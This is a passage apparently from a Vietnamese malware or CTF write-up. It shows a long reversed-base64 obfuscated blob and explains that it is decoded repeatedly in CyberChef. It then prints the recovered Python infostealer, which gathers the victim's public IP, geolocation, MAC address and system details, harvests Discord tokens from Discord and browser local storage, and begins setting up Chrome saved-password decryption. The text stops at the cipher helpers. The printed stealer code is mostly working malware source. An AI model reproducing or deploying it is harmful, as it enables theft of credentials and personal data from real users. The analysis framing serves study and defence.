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1WR4FWMahlVs9GeZZlSDJ1RKFjUsp1VUNjQyZ1MkplUWpUVaVkWh10aadlVqJ1VXZkWZJVbwhWYzIFSUpmVz1UVxQEVthnVldEZ0l1VGdVYxIFTUpmSoJVMaZjVuZVYNdlTYNVbwRFZqt2dW5Ga2JmVkVTYyA3TWRkV0Z1MK9kYGpEaOZFZXdVRaFXWXRHMSBDNxIGRG5UUwUzVWVkWDJWbKNlVthXVTNjQHRVVkNVTGZVWV1WMSFmRaNnVEp1cStWMQJFbkFmVYJFWaZFavJVbOZzUsplTTNjQYd1aWFWTG5EaU1GcVJVV0gnVqJkRhxmW1cVVW5UVzIEdVNjQXZVMaxUUrh2VlZlVxZ1VstmYGJVNVdFeoN1MBl3VVR2cNdkUV1UVkFWUwo1RUhVTxYVMWdlTXRHVZVlSxVlbkdkYHZlcUxmVXVWRsJXWsZVYS1mRvRFbkNFZuJUWWNjRL1kRShlUrJlaNVFbYVVb09UTWZVNhJDcWZVRwVUWrR2SWFjW65UVkFWZYRGdVBTNrJ1VGt0YFpFVWBzb3Z1aodXTH50VNZFZPN1MBhHVVlzUNZkVZVFbS5kVwAXcV5GZKJ2RGxkYGRWYXdEaIlVMvhnUyYVRNdFdONleWhlVFp1SiZkTPdVb0h1Uth3caVlTrZFbSVjYwYVVhVUNFl1a4dkYWpETiRkRXZFbvhXVWJ1ahFjUFNmRaNFVzgmVWhkRhJFbkl1YHFjUXRkRGllbkdkUGplVOZlVolFWCVXVVp1TNZVW3J1VwdVZWxmRUZlT3JmVOdnVrRGWRpnVYZFWwpUYyo0cXtmWpRmaGZkVrR3cWxmUIJmRax2VEVUeXRlTLZFbKpnUtVjVjFjSYllVSd3VGVEMU1GeoZleshlVIxmdWVVNTN2RxUFVHh3VZpmUT1kRWZjVWp1TUpmR0ZFRRFTTGpleiVEZhVWRGlVVxI1US1mSEZVb45kVrpkNWZEaHFWbGJHVtBnUVBTNzRFVGpUTxYVSX1GeOZFSShUWYVUNWZlW0EmeCdFZUV1dWxGZLFGbJd3TUJ0VkJDeIdlbKdlVHJVYhZkWY1keGZVWrR3RixmUY5UVWhWYwoUcWFDbTJFbOJHVshWVj1Ga1R1VsNUYsZFeNdFdTNlM4ZlVxg2Vh1mSTNVbwZVZuFEeV52Z3ZlVwpnYHRHbXtGcFplVotWTWpEUUpmTWNWboRXVxI0ViZkSzI2R4lWYwoFdXhVS410RS92VrZFahRkRGVFbkNVTWZVNkJTMVRlaGRXV6lVNhFjWQ1UVkFWZX5UWaZFavJmRFd3UXFzVj1GaZZFWFFjUXpkcjVEZod1V4dkVxo1UhxGbYFFbo5UYWplRX5mRPJVMKpnVrJ1VShlQzZlRStmVWFleWpmRoJmMoh1VWRGNSFjTVN2R1I1VEZkRZ52YxYVMSd0UthHVhhkQIl1asNXTXV0dTpmRWNlRvhXWxkFeWBTNPRlaKNFVxo0cWFDb00EbWBXTWRGVOREbGZ1a0dnUsBHeTxmVUd1a1EXVWJUYiVUMINGROZ1YxkUeZdFdPZlRVJTVrpFVZVVN1dlVa9mYrFTWNZFZONWR1gVVrR3cWxGZaJWRa9UYGp1VUpnSG10VGZHZGRWVTdkUYplVRhnVwEjMS1GeOVFM1UnVwo1UiZlTRZVb4NlVYJ0RWNjTPJmRsBjYFZFbVZkSzVlMG9kVrFDSidEdYd1RnpnVXxGMSJTV6JmRa5EVzgGWXhlRhJFbkllTVRWaUdUU4VFbOdUTxIFWOZlVpFGMwZjWEZ1aSxGZEVVbwplVzIFSaZlS3JmVSpXVtFDaiJDaXZVMsdlUrVDcXtmWqVWRshVVtR3dNxGbGVmRk9kVWpkcWBTOP1kVK9kWGh2Vj1GaIl1VsRjUyokSU1GesFlMSdlVI50Qi1mSPZVb0Z1U6ZlVWpmRSdlRkBTYE5EVhRlRYZFRSNlVtpENVZlVVN1RohlVxg2dWFjR0YVVa5UTGpVdWxGaHZ1RGJnTXFjUX1mUzlFbO9kYsZVNTdFeORFbaZUWYZ0TWFTS4pVMah1VUV1dVFDZLFGbWZTVVR2UUpnRGdlbS92UHJlVhdEdYFWRvlnVrR3aXZkV6FWRkhWYzIESZhFZT1UVxMDVqJkVTVUW4p1RoNVYx4UTTpmSXJWMKJnVwg2bNJjRUFlbwhWTVZ1cWtWOHJVMwZVZFR2aZdVU4pFRSFmYFFzRaRkTaJFbvdXWVlTYhFDZKNWRaRlVwAXWXxmWDJWbWRFZFRWYjxmW0lFWO9mVWRmNhpnRrZ1RSJnVE50US1mSyFGRKpFZwYUSWJjRvJlVwNTTFZlTOVEcxdVVodkVGJlclVEZq10R4NXWr50TNZkWJdVb05UVHJlRZxmRX1UbGxkYHRHWSV1b3l1a1AjUy00dSxGZTR1MSR3VVh2SSxmTVV1aalWUwo1cUV1c1YVMahnTXRHahNjU0VleGdkYHZFRPRlSXJlerlnWFlTYiZkUONVbxgWVthXWWNjVL10RGhlUrJlaNRFayZ1a4gnUxAXNZFDasd1RoNXVUJkSiZlW5FmRoZ1YUZlRZ1Gd3JlMGplYFpFWWxmSxdlVkN0VFFDcWtmVhNWV1gUVu50VSZkWGN2R4VlVHJlVWRkTX10VGZXYHFjWjNDaIVVMSdnYsZUWNVlVpRmeWhlVFp1SiZkTyV1aal2VXdHeWpmRqJmRsllTVZVVWxmWHlFWOtkYWpETWtGaXNVVwJXWWp1SWZUW6N1akN1UzI0RX5mRLZlVOFGVtBnUVZEczRVVkdXTxYleVpmSoFGM1UlVUp1USxmToRVb1olVthWdUZ1Z4ZFMxcHVsR2UTJDeXZVMsNnUrVzbWxmWQ10aVhXWXlDMWFjUJplRkxmVEZEWUhlWHJWRxQFVtVDWSxmS0VVMCdlYGpkVjVkWXFFM1klVI5ENSFjUXZ1aah2YwAHdVtGdXNlRap0UtRHaVtGcxZFRNVjUWRmeiRkSaJlVwdFVs9GeSBTM0c1V45kUwUTcXVlV3ZlVSJXTWRGUN12c4R1V09UTWZVST1Gerl1VSZUWth2SWBTMIJGRGdFZGplNVZlWHFGbGFjUth3ViJDaYdFWS92UG5UYNVFZpdVR0gXVrlDNhFDb0cVVWVFVsplRUpmWzZVbJFzTGR2VlVkRJRlVNhnVwEzdOZlVXRmMoJnVwsWNWBTNUNFbSNVTxA3cZVFdHJVMwh1VsZFWXRkV0VVMBhnVXpETXxmUWNmeWZlVXZ0QhxmShJWRahFVyIlVWhkT0IWVxMnWGZlTSVFN5VVb0NVTWpVMTpmRTF2VSdVV650UidkRQJ2RxoVZHljVWFzZ4JFM1QjUXhnTVBTNJd1aWdXYxQmckZEZPN1a1ckVu50SWZlV1M1V49UVGp1RX1WOPJWRwcXVqZkVldFdxZFbktUYs1keW1GeoRlM4dlVFZFMWJjVh1EVKhWZFZ1cUVFdrdlRapXYEpEaihkU0VFMw9UTVFTchdUNXVGSNlnWGZFNSJjRvVlaKNlTHhmcWBDbHZ1a1AnWHhXVNRkVyZ1a5ckUxAXShVEaUl1VSZkWWJ1aiZkS6NFboZ1Y6ZlVWdlRHFGbJhnWGp1VNVEcZZFWkJVTy40TXtmWhllVKRnVtZ0VTZkWKNlaGRFVrBXcVpnQXJVbKZ3YEZkWkJTOWVVMSNlUtpERWxmWORGMKFnVYJ1RWdkRPF2R4JFZVp1cURlQrJmRsl1YEJ0aXhEaIdVbodkUwEDTVxmWXNFWCNXVXh3aiZkU2Y1aalmYzgGWXZlW3JlVKVlWFpVYRBjWHRFWNFjVxY1VOdFdUZVRKVUWsZ1didkRURVb1olVwoUSaZEZ3JmVShnTXRHbSJDeyZFMsdkVVFDWTxmUWVmaBdnVqZkRWFDcWN1aapmVVVTRZFDaLJWRxMlUuBnVjhlQGlVboFmUtpkSUtmWYZ1MRdnVrh2RNdlUY1kVk50YYJ0RUVFZT1kRWlVVtFjUVtmSFllbWdkVspFUjdEdYRWMsZUVsJ1VS1WU5NVb4NFZwUTdWZEZTJlMGB3VthHWTdlUXlVb09UYsZ1RldUMPZ1MSh0VulUMWZlWzEGRCZ1VFplNZFjTDJ1RKFjUsp1VUNjQyZ1MkplUWpUVaVkWh1kbCdEVUZleNxmV550V0dVYGp1cVtmVT1kVKp3UthnWS5Ga0lVb0tkUHpETUxmWTRWMJdnVWtWMhFjTXJVbwZFZwo1VWtGO4ZlVsplTXRnaWdkUHdlbwZkVxoleRpmTaRmM5MXVyQ3aS1mVKR1aadVUwUTdXZFazJ1VWNVTVRWajZlSIllbk9WTGZVWV1WMSV1aKVUWrFzVNZlWz4UVWFGZxw2VVxmUTJVbKRkUsplTkBTN1ZlRkNlUyYEcX1GeYN1VSdVWtR3SWZlVzQmMxkWYVBXRXxmRPZVMKpXUsh2VXhUU5plROtWYxkleaZkWpVWRWhlVGp1VWZkTVF2R4VFVyI1cV5mWrJGbslkVtBHWhVlWxZ1asNnVtpkdPZlVVRGRWJXWshWYSxGcvJlaK5UU6ZFWWhFcKFWMSVlWHRnVlZ0a4l1V0BjUxAXWhVEaYZVboZUWxI1SWJjSMRFbodFZGpVVZdFcXFWMOZUVqZ0UNZFbWdFbZVjVwUDaStmUoJGMwRnVtZ0UXZEZ2QlVk9UVzgGSZNDaKJVbKJnYFRWYShlUYplVotmVrlDVNdFdONVMKJnVGxGNidlRvN2R1c1VXJ1RWFjSvdlRSBzYGZlaV5Ga0ZlRKdnVrFzRjZEaYRGSnlnWGpVYNdVSwQlaGhmYyI1cWpnWLZlVKVVVsplUlZEbXRFWatmYsJlVjZkVoFGSChUWsh2aW1WS4lVMWVFZEZlcUxGZ0IVMwdXVsR2VldEdyZFMsFWTWpFVT1GcWVWRrlXVuhmUNZEbJV1akNVWXhmcWZEarJmRKpXVtVzVjxmSYd1V0dlVrFzSjVkWUZlMSNnVYxmSWtWMwpVRWtGVrpFSUhlW3dlRkBTUq5UVXdkUyVlbsdkUtpEUS1GeYRGMWVVVyY0bhFjWZNVb45UVwoVcXVFaHJlRKV1YFhGaWFTW4RFWktmYGZVNSZlWOZFSSRnVrNHeWZlSyMmRohFZVVDSaZFZLFGbKFzTXR3UhJDa0ZleadkVXZVYOVFZpFWRwhlVrlTYWZkWwIFbShWYGpkcVxGbzJ2RKh2TXRnVkNTT5plRSdnYWJ1dV1WMsJlModlVxg2UiZlVVp1R0dVZqZlVWtWOHZVMwZFZGRGbXdEaHl1MwtkVrFzMOZFZVJFWCZVWXhXYS1WT3JVb45UTIJlVWhEb2Z1VOZVZFRGaiBjWIRVV0NVYxQmSkZEZPVFMwFnVIRmSNxmS0UlVWVFZFB3RaZEcLJ1RGVkUthnTVFjW2YlRaNlYXZkcaVkVsNVV1ckVzQ2TXZkU140R0lGVspkcVNjQXJmVaNTVshmVldFZJRFbktUYsl0dTxGZTJ2MCh0Vup0VSZkTVVVb4JFVEZkcUVFdPZlRShVVrRGaZVVNFdFbsNnUspFRaRkRWNlRwJHVspENiZlU3VlaKhGZxkleW5mSTJGbSVlWHRXVkFza4l1V5ckYWRmNVZFZPd1awVkWFdGeWdlSMNmRoZ1YqV1dZdFeTJVbKpkYEZkTVBTN1ZFWkNjVwETUV1GeUNWV1glVrR3UWxGZxMGRGRVYYhGSZBTMhZFbah1VqZkVj5WQ3VFbS9mVsJ1MXZlWORGM1YjVGp1UiZlWoJVbwNVTXdHeUdlRP1kRal0YEJ0aVpmVIllbGdlUyoUYiRkTXdFWBhXVxI1ahFjUzcVb4hGVzIEdWpnWHZ1VWFmTVRWahVEcYZ1a580VGpFejZkVoFGSCRnVsx2aidkRENmRap1YzgGdZ1GdHFGbS9mUtFDbj12d6ZFbo9WTxYFVRtmUP5UV1clVtR3dWZlUH90Vxw2VqVVeXRlUhJWRxgkTWR2VXVUS6Z1RsdlVVVTYaRkRXNGM1YlVuxmdhBTMV1kVk9UYFVzRUhFaqZFbal3YEJkUVtGcxZFVFRjVWplcjVEZhN1RolUVxI1bS1mSZNVb45kUwUTcXVlV3FWMWJXVrpFaThlQHVlM09kYsxGMOZlVTVlboRnVIJ0UN1mRzYlaOd1YspUdWdFbrJmROZTVrR2UTNjQXdVVZVjVyYVWV1GdS1kRsNHVW1UNNxmW6VFbkpVYFpUcVBjV3JFbOlnVtBnVlRlUGR1VsdlUWBHTWtGZpNVMKllVzI1bTVUMPVWRklGZrVzVZ52Z3ZlVSd0YFpFWX5mQ0ZFMotkYFFDSSxmUaRmMkhUWXR3Qhx2Y3J2R45UTGZVcWhFbK1UVxAnWGZ1TjVVW5lVV0NlVsRWMjRkRUFGWohUWwADeSZlSENlaGZlUsplNWxmWwImVOVkUthnTVFjW2YlRaNlYXZkcaVkVsNVV0gnVqJ0ahFjW0EFVOlGVyg2RZ5mRXJmVahWYGZFWXZVS5lFM1QjUyoENVdFeXJGMahlVIJ1bTZkToFmRWJlTGB3cUVFZXZlRWBjVsJVVUxmWyZVMsNnYHZEaadEdWVmVsZFVXh2QSdkR2V1ak5UWWpUWWNDbSZVR1Q1UtBnVlt2a5VlaGZnVxwWejVkVXdlaWRnVwg3SSJjSzUmRWpVZuRGdZdFbhZlVNFjYHhXaVBTNWZFWk5mYrVzTWtmWhJmeFdXVqJ1UXZEZ2ImeGhWVwAXcVNjWH10VGBVTWZVYWNjQHVVMw9mUsBnNNVlVpJVMwllVWlVMNdkRzV1aal2UXdHeUZlTPJGbWNDZyEzTWhEaIl1VotkUwEDTiZkWYdFRshFVXh3aiZkU2oVRalmYygGWWVEavNlRkFmTXFjUUVEN4V1a5ckVGpFWhdUMYFmMoJXVWB3aNZVWwIlVSdVZWx2caZkS0IlMGhmVqp0VV1GeZZ1MGtUTGZUWadEdX1kVFhXWXR3dSZFcGVWRkt2VrBXVURlTTJFMxQDVWh2VjJDaIl1VwNkVGNmMidEeOFGM1U1VsdGeWVVMWRWRkh2UwUDWUZFZTdlRkVTVUpkTidkUzZFSsZUTXZEUNRlQaV2VklUVyY0UhFjSy0kVWlGV6ZFSX52ZwYlVsF3UrJFbNdkUzlVb09kYsxWWX1GepFGM1UUWth2UNxWWwUFbohlTr92dWZkUXJ1VJJTTVZ1UTJDeYdFVaFmUsRWWhVkWpJVRadEVU50aNFjWYNFbaplYIJFdWpnQr1kVaJHVsJVYXRUR3plRWRjUyY0bNZlVXl1V3hnVuZFNNxmRTF1aSxmTrB3RZ1GdHZVMSdkVsJFVWdEaHlFMotkUrFjeX1GcXZVMKhUWXB3dN1WRxImRalGZspVcXV1Zx00ROZ1YHFTVjxWS5lFWkdVTxoVWV1WMWFGVGRnVIxmRS1mS2JGRKp1UV92dUZFar1kVvBTTVZVai1mU1ZlbGdnVWxGaRxmUOdVbRhnVtRXYiZkV0E1V14EVxo1RX5mSL1EbKRVYEJkVWV1b3VFM1sUYs5kNNdEdXFmMoRnVzgmWSZFZhVVb4N1VFVzVV5mTDVGbSllUtBHahdFazVFWwJXTVFzMaZkWVN2MoRHVWJFMSJjR4JVbxc1VuJUWWNDbSJmVWBXTXFTVlVlVHlVb5MXTsxmST1GdWdFRWhUWrJ1RiVUMUZlbwVlVspEdZdFdrJ1VVdnUqZkTkxmWxZFWkpXTtJVVjdUMVNmRKRnWVR2bWxGZXVVb1Y1VGBnRZpnRH10VGBFZGRWYWhFaIVVMw9UYsZlNTtmWONWMwVlVuVUMhJjRwdVb0h1Vth3cURlUw0kRWdUZFRmTVdkUXRFWGtkUxQGRT1GdYN1RolEVVVDNSJjS1UFVGhmYzIkVWVUW1I2VWFmTUpkWOZEczRVVkRjUWp1VhRkSoJGSoRnVxw2dSxmT2p1R4p1VEZlcZxmWrZ1a1gXVqpEaTJDeXZ1MWtUTHJ1UadEeVVGbvhXWXR3cWFDc5NWRWNVWXd2dZRlRKJWRxAVUtBnWSxmS0VlMsNVYxokWiVkWXFFM1YlVuxmdhBTMV1kVk9UYFVzVUZFZvZFbkFzUqJkVXZ0b3llaOtUTXZkcS1WMYVmRsZlWGB3ThxGZFpFRGN1UyIVWWhVTxYlVsJnWFZFbThVQ4VlaS9UTWpFSldUMqVlboRnVIJ0UN1mRzYlaOd1YrVTSUVFN4JmVNlHVWR2UhNjQWZVRZVjYXZVYORlSa5kRwNHVVRGNWZlUJJVbwhWYzgGSZBDb31kVKZXVtBnVlRlUylFbatmVrVDeVpmSoNlM4dlVzY1SNdkUTp1R4RVTxo1RZ1WOwYVMwl3YGZFVWZkSzVVV3hXYwEDTUxmUVZVMKhUWVR3cNJjRzo1RsplYyQXNXdUOuVmVsNXYGhWYKl3awdiYokyXogyYlhXZ'))
```
thì nó là đảo ngược base64 nghĩa là nó đảo ngược đoạn mã trước rồi decode base64. Giờ ta sẽ làm y chang vậy trên Cyberchief

![image](https://hackmd.io/_uploads/Byk6FNG8gl.png)

Welp ... nó lại là 1 đoạn base64 khác.
Sau 1 hồi decode rất nhiều lần thì có được 1 đoạn code python như sau
```python=
import psutil
import platform
import json
from datetime import datetime
from time import sleep
import requests
import socket
from requests import get
import os
import re
import subprocess
from uuid import getnode as get_mac
import browser_cookie3 as steal, requests, base64, random, string, zipfile, shutil, os, re, sys, sqlite3
from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from cryptography.hazmat.backends import default_backend
from Crypto.Cipher import AES
from base64 import b64decode, b64encode
from subprocess import Popen, PIPE
from json import loads, dumps
from shutil import copyfile
from sys import argv
import discord
from discord.ext import commands
from io import BytesIO

intents = discord.Intents.default()
intents.message_content = True
bot = commands.Bot(command_prefix='!', intents=intents)

def scale(bytes, suffix="B"):
    defined = 1024
    for unit in ["", "K", "M", "G", "T", "P"]:
        if bytes < defined:
            return f"{bytes:.2f}{unit}{suffix}"
        bytes /= defined

uname = platform.uname()
bt = datetime.fromtimestamp(psutil.boot_time())
host = socket.gethostname()
localip = socket.gethostbyname(host)

publicip = get(f'https://ipinfo.io/ip').text
city = get(f'https://ipinfo.io/{publicip}/city').text
region = get(f'https://ipinfo.io/{publicip}/region').text
postal = get(f'https://ipinfo.io/{publicip}/postal').text
timezone = get(f'https://ipinfo.io/{publicip}/timezone').text
currency = get(f'https://ipinfo.io/{publicip}/currency').text
country = get(f'https://ipinfo.io/{publicip}/country').text
loc = get(f"https://ipinfo.io/{publicip}/loc").text
vpn = requests.get('http://ip-api.com/json?fields=proxy')
proxy = vpn.json()['proxy']
mac = get_mac()

roaming = os.getenv('AppData')
output = open(roaming + "temp.txt", "a")

Directories = {
        'Discord': roaming + '\\Discord',
        'Discord Two': roaming + '\\discord',
        'Discord Canary': roaming + '\\Discordcanary',
        'Discord Canary Two': roaming + '\\discordcanary',
        'Discord PTB': roaming + '\\discordptb',
        'Google Chrome': roaming + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': roaming + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': roaming + '\\Yandex\\YandexBrowser\\User Data\\Default',
}

def Yoink(Directory):
    Directory += '\\Local Storage\\leveldb'
    Tokens = []

    for FileName in os.listdir(Directory):
        if not FileName.endswith('.log') and not FileName.endswith('.ldb'):
            continue

        for line in [x.strip() for x in open(f'{Directory}\\{FileName}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for Token in re.findall(regex, line):
                    Tokens.append(Token)

    return Tokens

def Wipe():
    if os.path.exists(roaming + "temp.txt"):
      output2 = open(roaming + "temp.txt", "w")
      output2.write("")
      output2.close()
    else:
      pass

realshit = ""
for Discord, Directory in Directories.items():
    if os.path.exists(Directory):
        Tokens = Yoink(Directory)
        if len(Tokens) > 0:
            for Token in Tokens:
                realshit += f"{Token}\n"

cpufreq = psutil.cpu_freq()
svmem = psutil.virtual_memory()
partitions = psutil.disk_partitions()
disk_io = psutil.disk_io_counters()
net_io = psutil.net_io_counters()

partitions = psutil.disk_partitions()
partition_usage = None
for partition in partitions:
    try:
        partition_usage = psutil.disk_usage(partition.mountpoint)
        break
    except PermissionError:
        continue

system_info = {
    "embeds": [
        {
            "title": f"Hah Gottem! - {host}",
            "color": 8781568
        },
        {
            "color": 7506394,
            "fields": [
                {
                    "name": "GeoLocation",
                    "value": f"Using VPN?: {proxy}\nLocal IP: {localip}\nPublic IP: {publicip}\nMAC Adress: {mac}\n\nCountry: {country} | {loc} | {timezone}\nregion: {region}\nCity: {city} | {postal}\nCurrency: {currency}\n\n\n\n"
                }
            ]
        },
        {
            "fields": [
                {
                    "name": "System Information",
                    "value": f"System: {uname.system}\nNode: {uname.node}\nMachine: {uname.machine}\nProcessor: {uname.processor}\n\nBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}"
                }
            ]
        },
        {
            "color": 15109662,
            "fields": [
                {
                    "name": "CPU Information",
                    "value": f"Psychical cores: {psutil.cpu_count(logical=False)}\nTotal Cores: {psutil.cpu_count(logical=True)}\n\nMax Frequency: {cpufreq.max:.2f}Mhz\nMin Frequency: {cpufreq.min:.2f}Mhz\n\nTotal CPU usage: {psutil.cpu_percent()}\n"
                },
                {
                    "name": "Memory Information",
                    "value": f"Total: {scale(svmem.total)}\nAvailable: {scale(svmem.available)}\nUsed: {scale(svmem.used)}\nPercentage: {svmem.percent}%"
                },
                {
                    "name": "Disk Information",
                    "value": f"Total Size: {scale(partition_usage.total)}\nUsed: {scale(partition_usage.used)}\nFree: {scale(partition_usage.free)}\nPercentage: {partition_usage.percent}%\n\nTotal read: {scale(disk_io.read_bytes)}\nTotal write: {scale(disk_io.write_bytes)}"
                },
                {
                    "name": "Network Information",
                    "value": f"Total Sent: {scale(net_io.bytes_sent)}\nTotal Received: {scale(net_io.bytes_recv)}"
                }
            ]
        },
        {
            "color": 7440378,
            "fields": [
                {
                    "name": "Discord information",
                    "value": f"Token: {realshit}"
                }
            ]
        }
    ]
}

DBP = r'Google\Chrome\User Data\Default\Login Data'
ADP = os.environ['LOCALAPPDATA']

def sniff(path):
    path += '\\Local Storage\\leveldb'

    tokens = []
    try:
        for file_name in os.listdir(path):
            if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
                continue

            for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
                for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                    for token in re.findall(regex, line):
                        tokens.append(token)
        return tokens
    except:
        pass


def encrypt(cipher, plaintext, nonce):
    cipher.mode = modes.GCM(nonce)
    encryptor = cipher.encryptor()
    ciphertext = encryptor.update(plaintext)
    return (cipher, ciphertext, nonce)


def decrypt(cipher, ciphertext, nonce):
    cipher.mode = modes.GCM(nonce)
    decryptor = cipher.decryptor()
    return decryptor.update(ciphertext)


def rcipher(key):
    cipher = Cipher(algorithms.AES(key), None, backend=default_backend())
    return cipher


